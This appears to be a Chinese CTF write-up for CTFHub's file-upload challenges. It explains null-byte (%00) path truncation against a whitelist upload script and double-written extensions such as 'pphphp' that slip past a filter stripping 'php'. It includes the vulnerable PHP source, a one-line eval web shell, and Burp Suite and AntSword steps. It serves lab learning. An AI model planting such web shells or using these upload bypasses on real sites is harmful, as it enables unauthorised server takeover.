CTFHub題解-技能樹-Web-Web工具配置-文件上傳
本文記錄
00截斷 和 雙寫后綴 的題解~
(一) 00截斷
1.知識點
0x00 ,
%00 ,
/00 之類的截斷,都是一樣的,只是不同表示而已。
在url中
%00 表示ascll碼中的
0 ,而ascii中0作為特殊字符保留,表示字符串結束,所以當url中出現%00時就會認為讀取已結束。
比如:
https://xxx.com/upload/?filename=test.txt 此時輸出的是test.txt
加上
%00
https://xxx.com/upload/?filename=test.php%00.txt 此時輸出的是test.php
這樣就繞過了后綴限制,可以上傳webshell啦~
注:php版本要
小於5.3.4 ,5.3.4及以上已經修復該問題
2.題解



先看一下源碼:
if (!empty($_POST['submit'])) { $name = basename($_FILES['file']['name']); $info = pathinfo($name); $ext = $info['extension']; //首先取到上傳文件的擴展名$ext $whitelist = array("jpg", "png", "gif"); //將擴展名與白名單進行匹配,為jpg、png或gif才能通過第一次過濾 if (in_array($ext, $whitelist)) { $des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext; //擴展名匹配之后,為上傳的文件構造了一個新的存儲路徑$des if (move_uploaded_file($_FILES['file']['tmp_name'], $des)) { echo "<script>alert('上傳成功')</script>"; } else { echo "<script>alert('上傳失敗')</script>"; } } else { echo "文件類型不匹配"; } }
(筆者參考了ggb0n大佬的wp)
根據代碼可知:
$des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext;
這里用了
rand()函數 ,這是正常上傳圖片的存儲路徑,后綴是通過匹配
$ext 的,我們自己上傳的一句話木馬就是php啦~
構造$des的時候,首先取的是road參數的內容
/var/www/html/upload/ 存儲路徑后面要加一個php后綴的文件名,然后利用%00進行截斷,這樣上傳文件的內容就存到了我們上傳的php文件里。
000.php 的文件內容:
<?php @eval($_POST['pass']);?>
用burpsuite抓個包~
改包,修改成類似紅色框框部分。

發送到
repeater 模塊

測試一下是否可以訪問~

用中國蟻劍連接吧~




這是另一種改包方法:
用
burpsuite 抓包,改包~




(二)雙寫后綴
1.知識點
用於只將文件后綴名,例如"php"字符串過濾的場合;
例如:
上傳時將
Burpsuite 截獲的數據包中文件名【123.php】改為【123.p
php hp】,那么過濾了第一個"php"字符串"后,開頭的'p'和結尾的'hp'就組合又形成了【123.php】。
2.題解

雙寫繞過~










完成啦~
參考資料:
http://ggb0n.cool/2020/03/03/CTFHub部分記錄/#題目分析
https://blog.csdn.net/qq_26090065/article/details/81458937